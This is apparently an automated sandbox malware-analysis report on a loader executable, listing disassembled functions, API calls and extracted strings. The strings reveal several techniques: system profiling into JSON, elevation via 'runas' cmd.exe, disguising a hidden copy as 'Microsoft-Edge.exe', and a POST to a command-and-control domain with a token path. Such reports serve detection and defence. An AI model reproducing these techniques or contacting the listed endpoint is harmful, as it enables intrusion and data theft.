Associated: 00000006.00000002.3021229189.0000000000EE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000F14000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000F2A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022146158.0000000000F2B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022565114.00000000010BE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022634311.00000000010BF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022711586.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022802243.00000000010C1000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_c20000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction ID: 9f09c5b824e9af18d19086f76f3d4feb08bbdd56eda6ade4f066b1d5bf958752
Opcode Fuzzy Hash: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction Fuzzy Hash: A2E04636911628EBCB15DB89890498AF6ACEB48B01F154196B901E3240C270DF44D7D8

Function 00C54770 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 148COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00C547A7
___except_validate_context_record.LIBVCRUNTIME ref: 00C547AF
_ValidateLocalCookies.LIBCMT ref: 00C54838
__IsNonwritableInCurrentImage.LIBCMT ref: 00C54863
_ValidateLocalCookies.LIBCMT ref: 00C548B8

Strings

csm, xrefs: 00C5484D

Memory Dump Source

Source File: 00000006.00000002.3020960898.0000000000C21000.00000040.00000001.01000000.00000007.sdmp, Offset: 00C20000, based on PE: true

Associated: 00000006.00000002.3020888283.0000000000C20000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3020960898.0000000000C82000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021161476.0000000000C89000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000C8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000E11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000EE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000F14000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000F2A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022146158.0000000000F2B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022565114.00000000010BE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022634311.00000000010BF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022711586.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022802243.00000000010C1000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_c20000_axplong.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 06e3d84536c3cb16c51163cd1a88f7fdc06fa3c965dd354229b66709777d1dfd
Instruction ID: e057cf66a989263559ff6333290cff15b5206090df6cc1e66098fe902289e235
Opcode Fuzzy Hash: 06e3d84536c3cb16c51163cd1a88f7fdc06fa3c965dd354229b66709777d1dfd
Instruction Fuzzy Hash: F651D838A002489BCF14DF68C885A9E7BB5EF0531DF148155EC18DB392D731EAC9DB94

Function 00C570C9 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 74COMMON

Download Yara Rule

APIs

_wcsrchr.LIBVCRUNTIME ref: 00C5710B

Strings

.exe, xrefs: 00C57118
.bat, xrefs: 00C5713A
.com, xrefs: 00C5714B
.cmd, xrefs: 00C57129

Memory Dump Source

Source File: 00000006.00000002.3020960898.0000000000C21000.00000040.00000001.01000000.00000007.sdmp, Offset: 00C20000, based on PE: true

Associated: 00000006.00000002.3020888283.0000000000C20000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3020960898.0000000000C82000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021161476.0000000000C89000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000C8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000E11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000EE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000F14000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000F2A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022146158.0000000000F2B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022565114.00000000010BE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022634311.00000000010BF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022711586.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022802243.00000000010C1000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_c20000_axplong.jbxd

Yara matches

Similarity

API ID: _wcsrchr
String ID: .bat$.cmd$.com$.exe
API String ID: 1752292252-4019086052
Opcode ID: 0d9c032f94ba75399f7f2e91bbec39508c4bf552256d8f8c2bf34ce91d48a846
Instruction ID: 6ce64e4a508b1676ee425e8e68660c09dc962ae6f506793ef1a381cff5473c7e
Opcode Fuzzy Hash: 0d9c032f94ba75399f7f2e91bbec39508c4bf552256d8f8c2bf34ce91d48a846
Instruction Fuzzy Hash: 59014E7F608A122226182418BC0363F179C9B82BB6715013BFD5CF73C3DE44DDC65198

Function 00C26EC0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 185COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 00C27065

Strings

, xrefs: 00C27140
invalid stoi argument, xrefs: 00C27060
VUUU, xrefs: 00C26F11

Memory Dump Source

Source File: 00000006.00000002.3020960898.0000000000C21000.00000040.00000001.01000000.00000007.sdmp, Offset: 00C20000, based on PE: true

Associated: 00000006.00000002.3020888283.0000000000C20000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3020960898.0000000000C82000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021161476.0000000000C89000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000C8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000E11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000EE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000F14000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000F2A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022146158.0000000000F2B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022565114.00000000010BE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022634311.00000000010BF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022711586.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022802243.00000000010C1000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_c20000_axplong.jbxd

Yara matches

Similarity

API ID: Xinvalid_argumentstd::_
String ID: $VUUU$invalid stoi argument
API String ID: 909987262-3954507777
Opcode ID: 6b838fbfe19d5931d0062d04980c7bbeafbf790f639d8fd7c4c08d9207d12690
Instruction ID: bd5e3fad9d4fd3bafc633f4f0d3d51968137c5826bfe0954a3832555989ac7bd
Opcode Fuzzy Hash: 6b838fbfe19d5931d0062d04980c7bbeafbf790f639d8fd7c4c08d9207d12690
Instruction Fuzzy Hash: 6951D871644301BFE724EB64CC42F5B77E9AF84B04F401529F658AB2D0DB70A9088B9A

Function 00C5C9B0 Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00C5CA37

Memory Dump Source

Source File: 00000006.00000002.3020960898.0000000000C21000.00000040.00000001.01000000.00000007.sdmp, Offset: 00C20000, based on PE: true

Associated: 00000006.00000002.3020888283.0000000000C20000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3020960898.0000000000C82000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021161476.0000000000C89000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000C8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000E11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000EE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000F14000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000F2A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022146158.0000000000F2B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022565114.00000000010BE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022634311.00000000010BF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022711586.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022802243.00000000010C1000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_c20000_axplong.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 7941c91dc3c81985f55d5af0d0e5d35b4c2fcc41726f6f06d2574da038ee3747
Instruction ID: cab9319188b549ec97c662bb2829f2ca913731e5c92d5087b69a196612546936
Opcode Fuzzy Hash: 7941c91dc3c81985f55d5af0d0e5d35b4c2fcc41726f6f06d2574da038ee3747
Instruction Fuzzy Hash: EEB1373A9003459FDB11CF28C8C1BAEBBF5EF55341F1481AAEC559B341D6349E89CB68

Analysis Process: loader_5879465914.exePID: 1748, Parent PID: 2304COMMON

Execution Graph

Execution Coverage:	25.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	19.3%
Total number of Nodes:	280
Total number of Limit Nodes:	12

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00402218 Relevance: 47.4, APIs: 9, Strings: 18, Instructions: 154
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32 ref: 00402241
GlobalMemoryStatusEx.KERNEL32 ref: 0040225E

Part of subcall function 00401FDE: RegOpenKeyExA.KERNEL32 ref: 00402051
Part of subcall function 00401FDE: RegQueryValueExA.KERNEL32 ref: 00402095
Part of subcall function 00401FDE: strncpy.MSVCRT ref: 004020AD
Part of subcall function 00401FDE: RegQueryValueExA.KERNEL32 ref: 004020EC
Part of subcall function 00401FDE: printf.MSVCRT ref: 00402100
Part of subcall function 00401FDE: RegCloseKey.KERNEL32 ref: 00402113
Part of subcall function 00401FDE: atoi.MSVCRT ref: 0040211C
Part of subcall function 00401FDE: strstr.MSVCRT ref: 0040212F
Part of subcall function 00401FDE: strncpy.MSVCRT ref: 00402154

GetComputerNameA.KERNEL32 ref: 004022CA
RegOpenKeyExA.KERNEL32 ref: 00402352
RegQueryValueExA.KERNEL32 ref: 00402394
RegOpenKeyExA.KERNEL32 ref: 0040240F
RegQueryValueExA.KERNEL32 ref: 0040244E
sprintf.MSVCRT ref: 00402536
printf.MSVCRT ref: 00402549

Strings

true, xrefs: 0040246C
SystemProductName, xrefs: 0040243D
Windows, xrefs: 00402516
Processo, xrefs: 004022D6
x64, xrefs: 00402490
Microsoft-Edge.exe, xrefs: 004024CC
Model, xrefs: 004023B3
Unknown , xrefs: 00402260
{ "cpuCores": "%u", "totalMemory": "%llu MB", "platform": "%s", "arch": "%s", "model": "%s", "osVersion": "%s", "processorName": "%s", "systemModel": "%s", "configuration": "%s", "filename": "%s", "admin": "%s", "token": "%s"}, xrefs: 00402528
Unknown , xrefs: 004023A9
false, xrefs: 00402475
HARDWARE\DESCRIPTION\System\CentralProcessor\0, xrefs: 0040233D
ProcessorNameString, xrefs: 00402383
HARDWARE\DESCRIPTION\System\BIOS, xrefs: 004023FA
5879465914, xrefs: 004024B4
System Info JSON:%s, xrefs: 00402542
x86, xrefs: 00402499
Unknown , xrefs: 004022CC

Memory Dump Source

Source File: 00000007.00000002.3019588351.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3019515090.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3019688876.0000000000406000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3019761342.000000000040B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3019857600.000000000040F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3019945694.0000000000414000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_loader_5879465914.jbxd

Similarity

API ID: QueryValue$Open$printfstrncpy$CloseComputerGlobalInfoMemoryNameStatusSystematoisprintfstrstr
String ID: 5879465914$HARDWARE\DESCRIPTION\System\BIOS$HARDWARE\DESCRIPTION\System\CentralProcessor\0$Microsoft-Edge.exe$Model$Processo$ProcessorNameString$System Info JSON:%s$SystemProductName$Unknown $Unknown $Unknown $Windows$false$true$x64$x86${ "cpuCores": "%u", "totalMemory": "%llu MB", "platform": "%s", "arch": "%s", "model": "%s", "osVersion": "%s", "processorName": "%s", "systemModel": "%s", "configuration": "%s", "filename": "%s", "admin": "%s", "token": "%s"}
API String ID: 4029298962-3802587010
Opcode ID: da8525ef243d30c2edf7e48c7b0dd2ac65d971a58a557c0755b9c302740e70be
Instruction ID: 7bbad046644aba7b8c0eebd7a0f359c977efbb6d67af6d4d89ac9c8c1b5c799d
Opcode Fuzzy Hash: da8525ef243d30c2edf7e48c7b0dd2ac65d971a58a557c0755b9c302740e70be
Instruction Fuzzy Hash: AF71ECB2210B8599DB74CF16E8903D933A5F748788F80812ADB9D5BB68EF79C354C748

Function 00401180 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 189
sleepstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32 ref: 004011E1
SetUnhandledExceptionFilter.KERNEL32 ref: 00401253
malloc.MSVCRT ref: 00401329
strlen.MSVCRT ref: 00401354
malloc.MSVCRT ref: 00401360
memcpy.MSVCRT ref: 00401378
_cexit.MSVCRT ref: 004013E5
GetStartupInfoA.KERNEL32 ref: 00401473

Strings

h@, xrefs: 0040122C

Memory Dump Source

Source File: 00000007.00000002.3019588351.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3019515090.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3019688876.0000000000406000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3019761342.000000000040B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3019857600.000000000040F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3019945694.0000000000414000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_loader_5879465914.jbxd

Similarity

API ID: malloc$ExceptionFilterInfoSleepStartupUnhandled_cexitmemcpystrlen
String ID: h@
API String ID: 1640792405-485769165
Opcode ID: 39f3e5cf561da997b405f95571c56a3e99b1e2c7bc00c2501b2981bd38061aa7
Instruction ID: 4c29a552a55374966fbeb6cd99cb9045177b543220c5f115e7a68cb18e85450b
Opcode Fuzzy Hash: 39f3e5cf561da997b405f95571c56a3e99b1e2c7bc00c2501b2981bd38061aa7
Instruction Fuzzy Hash: 2C7188B570075486EB20AF66E89076A33A1B789B88F44803BDF09B77A1DF3DD854C349

Function 00401E9E Relevance: 17.6, APIs: 4, Strings: 6, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

puts.MSVCRT ref: 00401F2B
ShellExecuteExA.SHELL32 ref: 00401F5B
puts.MSVCRT ref: 00401F83

Strings

runas, xrefs: 00401EE1
cmd.exe, xrefs: 00401EEF
/c %s, xrefs: 00401F08
Error: Failed to execute command %s with elevated privileges. Error code: %ld, xrefs: 00401F9A
Error: The user refused to allow privileges elevation., xrefs: 00401F7C
Error: Cannot format command line., xrefs: 00401F24

Memory Dump Source

Source File: 00000007.00000002.3019588351.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3019515090.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3019688876.0000000000406000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3019761342.000000000040B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3019857600.000000000040F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3019945694.0000000000414000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_loader_5879465914.jbxd

Similarity

API ID: puts$ExecuteShell
String ID: /c %s$Error: Cannot format command line.$Error: Failed to execute command %s with elevated privileges. Error code: %ld$Error: The user refused to allow privileges elevation.$cmd.exe$runas
API String ID: 961791793-699271044
Opcode ID: 825dd6dfc1f2c07fb3755769cee10684da71ff619e358bb8e36eeac6c73bb857
Instruction ID: 8cf10ecf543ab77f8754b7e41b8cf71e1f194f8d7f35ca4a7169013fc0aa2929
Opcode Fuzzy Hash: 825dd6dfc1f2c07fb3755769cee10684da71ff619e358bb8e36eeac6c73bb857
Instruction Fuzzy Hash: 34311671310B858AEB61DF26EC443D833A8F788788F800126DB4D6BBA8EF38C645C745

Function 00401B3F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 58
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

fwrite.MSVCRT ref: 00401BB9
CloseHandle.KERNEL32 ref: 00401C3A

Strings

Error create process print., xrefs: 00401BB2

Memory Dump Source

Source File: 00000007.00000002.3019588351.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3019515090.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3019688876.0000000000406000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3019761342.000000000040B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3019857600.000000000040F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3019945694.0000000000414000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_loader_5879465914.jbxd

Similarity

API ID: CloseHandlefwrite
String ID: Error create process print.
API String ID: 2559456001-1636502906
Opcode ID: 5a356374c23357b474d64b55516b9b8d47a67ff271d39c417316de58009ac1b4
Instruction ID: 160031cb5352d55d0a049487c33501e703d88c20ecdfb6c2b1e18860d78dcea4
Opcode Fuzzy Hash: 5a356374c23357b474d64b55516b9b8d47a67ff271d39c417316de58009ac1b4
Instruction Fuzzy Hash: 4921E771750B858DEB209FA6EC543E92365F744798F40013ACB1CABBA9EF38CA45C758

Function 00401FDE Relevance: 54.4, APIs: 15, Strings: 16, Instructions: 130
stringregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNEL32 ref: 00402051
RegQueryValueExA.KERNEL32 ref: 00402095
strncpy.MSVCRT ref: 004020AD
RegQueryValueExA.KERNEL32 ref: 004020EC
printf.MSVCRT ref: 00402100
RegCloseKey.KERNEL32 ref: 00402113
atoi.MSVCRT ref: 0040211C
strstr.MSVCRT ref: 0040212F
strncpy.MSVCRT ref: 00402154
strncpy.MSVCRT ref: 00402179
strstr.MSVCRT ref: 0040218E
strstr.MSVCRT ref: 004021A3
strncpy.MSVCRT ref: 004021BF

Strings

Microsoft Windows 7, xrefs: 004021E2
Windows 8, xrefs: 00402198
Microsoft Windows 11, xrefs: 0040216E
Microsoft Windows 8, xrefs: 004021B4
CurrentBuildNumber: %s, xrefs: 004020F9
ProductName, xrefs: 00402084
CurrentBuildNumber, xrefs: 004020DB
Unknown , xrefs: 00401FF7
SOFTWARE\Microsoft\Windows NT\CurrentVersion, xrefs: 0040203C
Build, xrefs: 00402001
Windows 10, xrefs: 00402124
Unknown OS, xrefs: 004020A2
Access Denied, xrefs: 004021FB
Microsoft Windows 10, xrefs: 00402149
Windows 7, xrefs: 004021C6
Windows 8.1, xrefs: 00402183

Memory Dump Source

Source File: 00000007.00000002.3019588351.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3019515090.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3019688876.0000000000406000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3019761342.000000000040B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3019857600.000000000040F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3019945694.0000000000414000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_loader_5879465914.jbxd

Similarity

API ID: strncpy$strstr$QueryValue$CloseOpenatoiprintf
String ID: Access Denied$Build$CurrentBuildNumber$CurrentBuildNumber: %s$Microsoft Windows 10$Microsoft Windows 11$Microsoft Windows 7$Microsoft Windows 8$ProductName$SOFTWARE\Microsoft\Windows NT\CurrentVersion$Unknown $Unknown OS$Windows 10$Windows 7$Windows 8$Windows 8.1
API String ID: 1909651468-1137035884
Opcode ID: c95b2abfa26f166b1f2152bba86730b1d24aeab912c778476510bdf05de0dbc8
Instruction ID: a0a231841afb4618f957893a72e215eef219f5a06bdd2ec8c4e5f5f315850866
Opcode Fuzzy Hash: c95b2abfa26f166b1f2152bba86730b1d24aeab912c778476510bdf05de0dbc8
Instruction Fuzzy Hash: F3512AB6611B40C8EB14DF6AE88039927A0F7887C8F50512BAF1D67BA9EF78C115C748

Function 00401C4B Relevance: 36.9, APIs: 12, Strings: 9, Instructions: 127
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

fwrite.MSVCRT ref: 00401CA0
fwrite.MSVCRT ref: 00401CE6

Strings

Error: cant copy file., xrefs: 00401D44
File hidden successfully., xrefs: 00401DF7
File good copied in: %s, xrefs: 00401D5C
Error: failed to open file for setting attributes., xrefs: 00401E88
Error: failed to hide file., xrefs: 00401E21
Error: cant get file path., xrefs: 00401CDF
Microsoft-Edge.exe, xrefs: 00401CF4
Error: failed to get file attributes., xrefs: 00401E4B
Error: cant get file., xrefs: 00401C99

Memory Dump Source

Source File: 00000007.00000002.3019588351.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3019515090.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3019688876.0000000000406000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3019761342.000000000040B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3019857600.000000000040F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3019945694.0000000000414000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_loader_5879465914.jbxd

Similarity

API ID: fwrite
String ID: Error: cant copy file.$Error: cant get file path.$Error: cant get file.$Error: failed to get file attributes.$Error: failed to hide file.$Error: failed to open file for setting attributes.$File good copied in: %s$File hidden successfully.$Microsoft-Edge.exe
API String ID: 3559309478-1690969207
Opcode ID: 31ea6b0e0d4679e6417db61c00c28e6984b6ded537a5ba6343990c85c88e301a
Instruction ID: 0d97240856d4150d1bbce3dccb48613623e64bff3cac037d7d72e0a46dc880dd
Opcode Fuzzy Hash: 31ea6b0e0d4679e6417db61c00c28e6984b6ded537a5ba6343990c85c88e301a
Instruction Fuzzy Hash: BB510FB0310A4489EB60AB66EC547992360F784788F54013BCF1DAB7F5EF7DCA458788

Function 004029E7 Relevance: 22.8, APIs: 8, Strings: 5, Instructions: 79
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

puts.MSVCRT ref: 00402A22
setlocale.MSVCRT ref: 00402A41
fwrite.MSVCRT ref: 00402A6E
puts.MSVCRT ref: 00402AA9

Part of subcall function 00401C4B: fwrite.MSVCRT ref: 00401CA0

Part of subcall function 00402218: GetSystemInfo.KERNEL32 ref: 00402241
Part of subcall function 00402218: GlobalMemoryStatusEx.KERNEL32 ref: 0040225E
Part of subcall function 00402218: GetComputerNameA.KERNEL32 ref: 004022CA
Part of subcall function 00402218: RegOpenKeyExA.KERNEL32 ref: 00402352
Part of subcall function 00402218: RegQueryValueExA.KERNEL32 ref: 00402394
Part of subcall function 00402218: RegOpenKeyExA.KERNEL32 ref: 0040240F

printf.MSVCRT ref: 00402AD1
strlen.MSVCRT ref: 00402AF5
free.MSVCRT ref: 00402B33
SleepEx.KERNEL32 ref: 00402B44

Strings

GOOD ENERGY STATUS., xrefs: 00402A29
ERROR ENERGY STATUS., xrefs: 00402A1B
Russian_Russia.1251, xrefs: 00402A35
Microsoft-Edge.exe, xrefs: 00402AB3, 00402AC3
Need admin privileges. Restarting program..., xrefs: 00402AA2

Memory Dump Source

Source File: 00000007.00000002.3019588351.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3019515090.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3019688876.0000000000406000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3019761342.000000000040B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3019857600.000000000040F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3019945694.0000000000414000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_loader_5879465914.jbxd

Similarity

API ID: Openfwriteputs$ComputerGlobalInfoMemoryNameQuerySleepStatusSystemValuefreeprintfsetlocalestrlen
String ID: ERROR ENERGY STATUS.$GOOD ENERGY STATUS.$Microsoft-Edge.exe$Need admin privileges. Restarting program...$Russian_Russia.1251
API String ID: 570618865-2989130530
Opcode ID: b0c02647733908f3ed43f4b5f4819f6f79cce6fe36d6c900988b42d52a8968dc
Instruction ID: 188171dc38a9f39a2482fc95cff8ed8cecc5f8f7667dd4d489b5489a0fced0ab
Opcode Fuzzy Hash: b0c02647733908f3ed43f4b5f4819f6f79cce6fe36d6c900988b42d52a8968dc
Instruction Fuzzy Hash: 1C314B60310A4595EB20FB66ED593A92365E79478CF80003B9B0E7B3E5EFBCCA45834D

Function 00402760 Relevance: 10.6, APIs: 2, Strings: 5, Instructions: 121
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

malloc.MSVCRT ref: 00402913
free.MSVCRT ref: 0040299D

Strings

Final URL: %s, xrefs: 0040280E
A WinHTTP Example Program/1.0, xrefs: 00402790
POST, xrefs: 00402848
/iloverussia.php?token=%S, xrefs: 004027F3
eijfrhegrtbrfcd.online, xrefs: 004027C4

Memory Dump Source

Source File: 00000007.00000002.3019588351.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3019515090.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3019688876.0000000000406000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3019761342.000000000040B000.00000004.00000001.01000000.00000009.sdmpDownload File
